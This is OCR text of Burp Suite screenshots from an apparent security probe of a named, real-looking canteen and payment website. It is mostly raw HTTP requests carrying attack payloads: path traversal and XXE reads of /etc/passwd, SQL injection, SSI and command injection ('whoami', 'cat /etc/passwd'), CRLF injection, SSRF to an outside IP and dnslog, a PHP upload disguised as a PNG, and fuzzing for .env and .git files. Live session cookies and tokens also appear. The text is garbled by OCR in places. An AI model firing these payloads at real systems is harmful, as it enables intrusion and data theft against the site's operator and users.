CiKaQ5gTeyvzf6upd5zYW75pbHgh3D%3D "trace_id": "69bcf24c2767d"
13 Content-Type: application/x-www-form-urlencoded }
14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe
15 Origin: https://zhdc. shoutonghuicheng. cn
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-Mode: cors
18 Sec-Fetch-Dest: empty
19 Referer: https://zhdc. shoutonghuicheng. cn/dist/
20 Accept-Encoding: gzip, deflate
21 Accept-Language: zh-CN, zh; . 6





image18.png
Request

Pretty Raw  Hex  Query params

1 POST /api/card/cardList HTTP/1.1

2 Host: zhde. shoutonghuicheng. cn

3 Cookie: _bl uid=znmqXnOkyUL97e7vC020ulXs0t84; _token=
u%2FV0zY iuun511x0CVYzS 1XPn8NaCIAufkAx1%2B7oMSNUT%2BAD6hUOpa%2BoNZVXCiKaQ5gTe
yvz£6upd5zYW75pbHgh3D%3D

4 Content-Length: 87

5 Sec-Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec-Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft
Edge";v="146"

8 Sec-Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: 9b104ad2177399090440610404a6fe

10 Eagleeye-Sessionid: yOmdLmlmyvwkbOcndt95cy14ne8C

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplelWebKit/537. 36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, #/*

13 Content-Type: application/json;charset=UTF-8

14 Eagleeye-Pappname: dvg25czqks@558982bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; g=0. 7, en-US; g=0. 6

22 Priority: u=l, i

3 Connection: close

24

25 {

"name
"mobile": ""

Response
Pretty Raw  Hex  Render

1 HTTP/1.1 200 OK

2 Date: Fri, 20 Mar 2026 07:15:10 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 136

10
11 {
"code": 0,
"message": " &I ",
"data": {
"total": 0,
"per_page": 10,
"current_page":1,
"last_page":0,
"data": [
]
B
"trace_id": "69bcf3febaZe?"

}
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Request
Pretty Raw  Hex  Query params S

U Ce meng v

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft
Edge";v="146"

8 Sec~Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: 9b104ad2177399090440610404a6fe

0 Eagleeye-Sessionid: yOmdLmlmyvwkbOcn4t95cyl4ne8C

I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. 36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Ldg/146.0.0.0

2 Accept: application/json, text/plain, */x

3 Content-Type: application/json; charset=UTF-8

4 Eagleeye-Pappname: dvg25czqks@5589182bc74abfe

5 Origin: https://zhdec. shoutonghuicheng. cn

6 Sec-Fetch-Site: same-origin

7 Sec-Fetch-Mode: cors

8 Sec-Fetch-Dest: empty

9 Referer: https://zhdc. shoutonghuicheng. cn/dist/

0 Accept-Encoding: gzip, deflate

'| Accept-Language: zh-CN,zh;q=0. 9, en;q=0. 8, en-GB; q=0. 7, en-US; ¢=0. 6

2 Priority: u=l, i

Connection: close

"name":"../../../.. /.. /.. /.. /.. [etc/passwd",
"mobile":"",

"cardld":"",

"deptlds":"",

"cardStatus":"",

"page": 1,

"pageSize": 10

n

Response
Pretty Raw  Hex  Render

1 HTTP/1.1 200 OK

2 Date: Fri, 20 Mar 2026 07:15:50 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 136

10
11 {
"code": 0,
"message": " &I ",
"data": {
"total": 0,
"per_page": 10,
"current_page":1,
"last_page":0,
"data": [
]

B
"trace_id": "69bcf42667c84"

}

n
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image23.png
Results  Positions  Payloads  Resource pool  Settings

Filter: Showing all items
Request Payload Status  Eror Timeout Length Comment
T fwleady a2
3 /downloads/ 404 [m] 0 2r4
3 /egi-bin/. 404 72
5 static/ 403 [m] o2
14 /webroot/ 404 [m] [BE-IF2
0 404 u] 0om2
15 /apache/ 404 [m] o
10 /admin/ 404 [m] o 2n
9 /config/ 404 o O 300

Requet I Responsc il

Pretty Raw  Hex  Render

1 HTTP/1.1 404 Not Found

2 Date: Fri, 20 Mar 2026 08:16:08 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X_NO_CACHE: 1

6 X-XSS-Protection: 0

7 Content-Length: 87

8
9{
"code": "2",
"message”: "module not exists:uploads”,
"data": [
]

"trace_id": "69bd02487ea80"




image24.png
Results  Positions  Payloads  Resource pool  Settings

Filter: Showing all items

Request Payload Status  Eror Timeout Length Comment
10 /./var/www/htmi/config.php 400 @] [ 16729
0 404 8] L 7m2

4 %2e%2e%21%2e%2e%2fetc%... 400 o [ 16729
2 ffJ-[windows/system32/dr... 400 o [ 16729
1 «//etc/passwd 400 o [ 16729
7 wd [/ etc/[passwd 403 o o2
5 .965¢.9%5cwindowsd%5csyste... 403 o o2
3 -/conf/database.ini 400 o [ 16729

Request _ Response
Pretty Raw  Hex  Render

1 HTTP/1. 1 403 Forbidden

2 Date: Fri, 20 Mar 2026 08:15:31 GMT
3 Content-Type: text/html

4 Content-Length: 548

5 Connection: close

6 X_NO_CACHE: 1

7 X-XSS-Protection: 0

8
9 <html>
10 <head>
<title>
403 Forbidden
</title>
</head>
11 <body>
12 <center>
<h1>
403 Forbidden
</h1>
</center>
13 <hr>
<center>
nginx

</center>
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image26.png
Results  Positions  Payloads  Resourcepool  Settings

Filter: Showing all items

Request Payload Status  Eror Timeout Length - Comment
0 404 =] L 72
T jew T
2 Jenvprod 403 =] oom2
3 /envdevelopment 403 =] 0om2
4 /config/.enviocal 403 =] 0om2
" /git/config 403 u] 0om2
12 /svn/entries 403 u] 0om2
15 /config/database ymi 404 u] [ 308
3 /composerjson 404 u] (B

Request _ Response
Pretty Raw  Hex  Render

1 HTTP/1. 1 403 Forbidden

2 Date: Fri, 20 Mar 2026 07:48:37 GMT
3 Content-Type: text/html

4 Content-Length: 548

5 Connection: close

6 X_NO_CACHE: 1

7 X-XSS-Protection: 0

8
9 <html>
10 <head>
<title>
403 Forbidden
</title>
</head>
11 <body>
12 <center>
<hl>
403 Forbidden
</h1>
</center>
13 <hr>
<center>
nginx

</center>
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image28.png
Request

Pretty Raw  Hex  Query params B wn =

1 POST /p/Restaurant/restaurant_name HTTP/I.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 11ioPapdb7NVWwhMX%2F
Rd jxU3kyegPFu%2FPEswgQ%3D%3D

4 Content-Length: 41

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft
Edge"; 46"

8 Sec~Ch Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399268827510444a6fe

10 Eagleeye-Sessionid: Ram4sm3ny091Czfzgy83p73wR jke

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: application/x-www-form-urlencoded

14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6

22 Priority: u=1, i

3 Connection: close

24

25 <IENTITY xxe SYSTEM "file:///etc/passwd">

Response
Pretty Raw  Hex  Render
1 HTTP/1. 1 200 OK
2 Date: Fri, 20 Mar 2026 07:44:58 GMT
3 Content-Type: application/json; charset=utf-8
4 Connection: close
5 X-Content-Type-Options: nosniff
6 X-XSS-Protection: 0
7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1
9 Content-Length: 102
10
11 {

"code": 0,

"message": " &I ",

"data": {

! "B RERERET"

"trace_id": "69bcfafa608da"

i

o0




image29.png
3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202X22u%2BeoY i1ioPapdb7NVWwhMX%2FRd jxU3kyegPFu%2FP
EswgQ%3D%3D

4 Content-Length: 221

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft Edge";v="146"

8 Sec~Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399264514510424a6fe

10 Eagleeye-Sessionid: v5mk8mysyOL1FReznq8qm3Cn3813

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: application/x-www-form-urlencoded

14 Eagleeye-Pappname: dvg25czqks@5589182bc74abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0.9, en;q=0.8, en-GB; q=0. 7, en-US; q=0. 6

22 Priority: u=l, i

23 Connection: close

24

5 start_date=2026-03-20&end_date=2026-03-20&page=1&restaurant [ds=kmobile=
%27%200r%201%3D9999%200r%20%27a%27%3D%27bkmarke t ing_strategy_id=&source=&
order_unified_status=30&korder_status=&pay_type=kmeal times=&department uuids=

B n =

Response
Pretty Raw  Hex  Render

1 HTTP/1.1 200 OK

2 Date: Fri, 20 Mar 2026 07:44:05 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 230

10
1 {
"code": 0,
"message": " &I ",
"data": {
"total": 0,
"per_page": 15,
"current_page":1,
"last_page":0,
"data": [
1,

"total_price":0,
"total_num":0,
"pay_price":0,
"refund_amount":0,
"pay_amount": "0. 00",
"pay_num": 0

Iz
"trace_id": "69bcfac52£429"

N ) —— o

PP ]
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Request

Pretty  Raw  Hex

1 FOST /p/mealOrder/list HITP/1.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 1ioPapdb7NVWwhMX%2FRd jx
U3kyegPFu%2FPEswgQ%3D%3D

4 Content-Length: 223

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec—Ch "Chromium"; v="146",

46"

8 Sec-Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399266188410434a6fe

10 Eagleeye-Sessionid: v5mk8mysyOL1FReznq8qm3Cn3813

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: application/x-www-form-urlencoded

14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6

22 Priority: u=1, i

23 Connection: close

24

25 start_date=2026-03-20&end_date=2026-03-20&page=1&restaurantIds=&mobile=
%3C%21--%23exech20cmd%b3Dh221s%20%2F%22--%3Ekmarketing_strategy_id=&source=&
order_unified_status=30&order_status=&pay_type=&meal_times=&department uuids

"Not-A. Brand";v="24", "Microsoft

Query params B n =

Response
Pretty Raw  Hex

1 HTTP/1.1 200 OK
2 Date: Fri, 20 Mar 2026 07:44:26 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'

8 X_NO_CACHE: 1

9 Content-Length: 230

Render 8 n

10
11 {
"code": 0,
"message": "E# K",
"data": {
"total": 0,
"per_page": 15,
"current_page":1,
"last_page":0,
"data": [
1,

"total_price":0,
"total_num":0,
"pay_price":0,
"refund_amount":0,
"pay_amount": "0. 00",
"pay_num": 0

B

"trace_id": "69bcfada7d58b"

i
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Request

Pretty  Raw  Hex

1 POST /api/identity/lists%0d%0aSet-Cookie:hacker=1 HTTP/L.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 1ioPapdb7NVWwhMX%2FRd jx
U3kyegPFu%2FPEswgQ%3D%3D

4 Content-Length: 72

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146",
Edge"; 46"

8 Sec-Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399252839110364a6fe

10 Eagleeye-Sessionid: bLmRLmw5yz2lqnc6CeRdadlynew j

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: application/json;charset=UTF-8

14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6

22 Priority: u=1, i

23 Connection: close

"Not-A. Brand";v="24", "Microsoft

Query params B n =

Response
Pretty  Raw  Hex
1 HTTP/1.1 404 Not Found

2 Date: Fri, 20 Mar 2026 07:43:34 GMT
3 Content-Type: text/html

4 Content-Length: 548

5 Connection: close

6 X_NO_CACHE: 1

7 X-XSS-Protection: 0

Render

8
9 <html>
10 <head>
<title>
404 Not Found
</title>
</head>
11 <body>
12 <center>
<h1>
404 Not Found
</h1>
</center>
13 <hr>
<center>
nginx
</center>
14 </body>
15 </html>

16 <!-- a padding to disable MSIE and Chrome friendly error page ——>
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image33.png
Request

Pretty  Raw  Hex B wn =

1 POST /p/rechargeOrder/list HTTP/1. 1
2 Host: zhdc. shoutonghuicheng. cn
3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202X22u%2BeoY i1ioPapdb7NVWwhMX%2FRd jxU3kyegPFu%2FP
EswgQ%3D%3D
4 Content-Length: 119
5 Sec~Ch-Ua-Platform: "Windows"
6 Cache-Control: max-age=28880
7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft Edge";v="146"
8 Sec~Ch-Ua-Mobile: 20
9 Eagleeye-Traceid: ce9e2de6177399222990310104a6fe
10 Eagleeye-Sessionid: yFmevmkeyahlal6wp3UXhjsnhd5z
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0
12 Accept: application/json, text/plain, */*
13 Content-Type: application/x-www-form-urlencoded
14 Eagleeye-Pappname: dvg25czqks@5589182bc74abfe
15 Origin: https://zhdc. shoutonghuicheng. cn
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-Mode: cors
18 Sec-Fetch-Dest: empty
19 Referer: https://zhdc. shoutonghuicheng. cn/dist/
20 Accept-Encoding: gzip, deflate
21 Accept-Language: zh-CN,zh;q=0. 9, en;q=0. 8, en-GB; q=0. 7, en-US; q=0. 6
usl, i
: close

5 start_date=2026-02-20&end_date=2026-03-20&nickname=%3Bsys tem%28%27whoami%27%29%3B%2F%2F&
mobile=&page=1&department_uuid=

Response

Pretty Raw  Hex  Render

1 iTTP/1. 1 200 OK

2 Date: Fri, 20 Mar 2026 07:37:10 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 153

10
1 {
"code": 0,
"message": "E# K",
"data": {
"total": 0,
"per_page": 15,
"current_page":1,
"last_page":0,
"data": [
1,

"actual _money": 0

B
"trace_id": "69bcf92605096"




image34.png
Request

Pretty  Raw  Hex B wn =

1 POST /p/department/all HTTP/1.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202X22u%2BeoY i1ioPapdb7NVWwhMX%2FRd jxU3kyegPFu%2FP
EswgQ%3D%3D

4 Content-Length: 47

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft Edge";v="146"

8 Sec~Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399226203710294a6fe

10 Eagleeye-Sessionid: gqmOUmyeyzelhR63enIphOgu35zh

|1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */x

13 Content-Type: application/x-www-form-urlencoded

|4 Eagleeye-Pappname: dvg25czqks@5589f82bc74abfe

15 Origin: https://zhdec. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

|7 Sec-Fetch-Mode: cors

|8 SecFetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. en/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0.9, en;q=0. 8, en-GB; q=0. 7, en-US; q=0. 6

Priority: u=

Connection:

close
24

search_v=cat%20%2Fetc%2Fpasswdésearch_k=&page=1

Response
Pretty Raw  Hex

1 HTTP/1.1 200 OK
2 Date: Fri, 20 Mar 2026 07:37:42 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'

8 X_NO_CACHE: 1

9 Content-Length: 3928

Render

10
1 {
"code": 0,
"message": " &I ",
"data": [
{
"code":"0",
"uuid": "26692B22-96BC-66AD-6A44-929D8C819920" ,
"puuid": "0",
"name": " # 1 & #",
"charge_by":""
"leader":""
"status":1,
"demo":null,
"leaf flag"
"chhildShov": false
1,
{
"code": "01",





image35.png
Request

Pretty  Raw  Hex

1 POST /p/department/all HTTP/1.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 1ioPapdb7NVWwhMX%2FRd jx
U3kyegPFu%2FPEswgQ%3D%3D

4 Content-Length: 48

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft
Edge"; 46"

8 Sec-Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399226203710294a6fe

10 Eagleeye-Sessionid: gqmOUmyeyzelhR63enIphOgu35zh

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: application/x-www-form-urlencoded

14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6

22 Priority: u=1, i

23 Connection: close

24

25 search_v=../../../../etc/passwdksearch_k=&page=1

Query params B n =

Response
Pretty Raw  Hex  Render

1 HTTP/1.1 200 OK

2 Date: Fri, 20 Mar 2026 07:39:54 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 3928

10
11 {
"code": 0,
"message": "E# K",
"data": [
{
"code":"0",
"uuid": "26692B22-96BC-66AD-6A44-929D8C819920" ,
"puuid": "0",
"name": " # 1 & #",
"charge_by":""
"leader":""
"status":1,
"demo":null,
"leaf flag":1,
"chhildShov": false
1,
{

"code":"01",

"uuid": "3D21D3D7-703D-3628-A112-COCBICBAED62",

"puuid":"0",
"name": "3 i XF A",

o0
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Response
Pretty Raw Hex Render = \n
1 HTTP/1. 1 200 OK

2 Date: Fri, 20 Mar 2026 07:42:14 GMT

3 Content-Type: application/json; charset=utf-8

4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'

8 X_NO_CACHE: 1

9 Content-Length: 136

10

11 {

8 n

_bl_uid=jXmmCmRtyFC7b8h74y3nsFzmlL41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202X22u%2BeoYi1ioPapdb7NVWwhMX%2FRd jx
U3kyegPFu%2FPEswgQ%3D%3D

4 Content-Length: 72

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft
Edge"; 46"

8 Sec~Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: ce9e2de6177399252839110364a6fe

10 Eagleeye-Sessionid: bLmRLmw5yz2lqnc6CeRdadlynew j

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winbd; x64) ApplelebKit/537. 36 veode”0,

(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0 "message”: "W
12 Accept: application/json, text/plain, */x dgta;{" .
otal":0,

13 Content-Type: application/json; charset=UTF-8 . ,
14 Eagleeye-Pappname: dvg25czqks@558982bcT4abfe "per_page”: 10,
15 Origin: https://zhdc. shoutonghuicheng. cn current page”: 1,

16 Sec-Fetch-Site: same-origin "last_page":0,
17 Sec-Fetch-Mode: cors data”: [
18 Sec-Fetch-Dest: empty 1
19 Referer: https: //zhde. shoutonghuicheng. cn/dist/ s
"trace id": "69bcfa562dde3"

20 Accept-Encoding: gzip, deflate
21 Accept-Language: zh-CN, zh;q=0.9, en; q=0. 8, en-GB; q=0. 7, en-US; g=0. 6
22 Priority: u=l, i
23 Connection: close
24
5 {

}

"page": 1,
"pageSize": 10,
"identityType": "http://101. 42. 52. 250/ceshi. txt"

}
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Request Response
Pretty  Raw  Hex Pretty Raw  Hex  Render

4 Content-Length: 110 1 HTTP/1.1 200 OK
5 Sec~Ch-Ua-Platform: "Windows" 2 Date: Fri, 20 Mar 2026 07:36:41 GMT
6 Cache-Control: max-age=28880 3 Content-Type: application/json; charset=utf-8
7 Sec-Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft Edge";v="146" 1 Connection: close
8 Sec~Ch-Ua-Mobile: 20 5 X-Content-Type-Options: nosniff
9 Eagleeye-Traceid: ce9e2de6177399220146610064a6fe 6 X-XSS-Protection: 0
10 Eagleeye-Sessionid: h6m97m32y2elyy4syvamepFnyF81 7 Content-Security-Policy: manifest-src 'self'
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 8 X_NO_CACHE: 1
Gecko) Chrome/146.0. 0.0 Safari/537.36 Edg/146.0.0.0 9 Content-Length: 136
12 Accept: application/json, text/plain, */* 10
13 Content-Type: application/json; charset=UTF-8 11
14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe "code": 0,
15 Origin: https://zhdc. shoutonghuicheng. cn "message": " & K A",
16 Sec-Fetch-Site: same-origin "data": {
17 Sec-Fetch-Mode: cors "total":0,
18 Sec-Fetch-Dest: empty "per_page": 10,
19 Referer: https://zhdc. shoutonghuicheng. cn/dist/ "current_page": 1,
20 Accept-Encoding: gzip, deflate "last_page":0,
21 Accept-Language: zh-CN,zh;q=0.9,en;q=0. 8, en-GB; q=0. 7, en-US; q=0. 6 "data": [

Priority: u=l, i ]
3 Connection: close IR
"trace_id": "69bcf90980bag”

25 { }
"name": "ping 127.0.0.1 | whoami",
"mobile":"",

"cardld":"",
"deptIds":"",
"cardStatus":"",
"page": 1,
"pageSize": 10
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D:\SSRF>ssrf.py

python3 poc.py
55> http: //X00C. XH0X. XXX XXX
>>> xxx.dnslog. com

-

https://zhdc. shoutonghuicheng.cn/
wipsak.dnslog.cn 111.wlpstk.dnslog.cn

DNS Query Record IP Address D:\SSRF>|
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Request

Pretty  Raw  Hex  Query params \n

10 Eagleeye-Sessionid: pemX8mnwy8ga8p8LIpULj09s790g

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: multipart/form-data;
boundary=----WebKi tFormBoundary6vk7KHaNqA0 jBE3o

14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6

22 Priority: u=1, i

23 Connection: close

24

25 |—————-]1 WebKi tFormBoundary6vk7KHgNgAO jBE3o

26 Content-Disposition: form-data; name="file path"; filename="ceshi.php"

27 Content-Type: image/png

28

29 [CIPNG

30

31 IHDR+/[Jo pHYsCICIC)+ IDATxCIO g | U700 OIS CILZO0H! 1 $CIPCIC]
EDPeJEACIC] DIOHOO 000000 DeH I OLO Cyqwl 104
B OWOIOI3L; O a#I CzCn[CI0ICI98$ s (1! CICBoCIL]
CJO9ssshi#E 1! ! CIcBoI] CJO9ssshi#E 1! ! CIcBoI]
CJO9ssshi#E 1! ! CIcBoI] CJO9ssshi#E 1! ! CIcBoI]
CJO9s$sHi#E 1! ! CIcBoI] CJ9$$shH#E (1! ! CIcBoI]
OO000000ckOIOOxcO  CICI98$sHiE 11 B0
CJO9s$shH#E 1! ! CIcBoI] CI9s$shH#E (1! ! CIcBo I

Response
Pretty Raw  Hex  Render

1 HTTP/1. 1 200 OK
2 Date: Fri, 20 Mar 2026 02:31:49 GMT

3 Content-Type: application/json; charset=utf-8

4 Connection: close
5 X-Content-Type-Options: nosniff

6 X-
7 Content-Security-Policy: manifest-src 'self'

XSS-Protection: 0

8 X_NO_CACHE: 1
9 Content-Length: 96

10
11 {

}

"code": 1,

"message": "R jpgfopngtb X EH L,
"data": [

1.

"trace_id": "69bcb1957e89c"
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image1.png
Request

Pretty  Raw  Hex B wn =

1 POST /p/login/login HTTP/1.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl uid=symasmvOy7bitv4qa00leUjltUt9; _token=
u%2FV0zViuun511x0CVYzS1XPn8NaC I AufkAx 1%2B7oMSNUT%2BdD6hUOpa’%2BoNZVXCiKaQ5gTeyvzf6upd52YW7
5pbHgh3D%3D

4 Content-Length: 24

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"

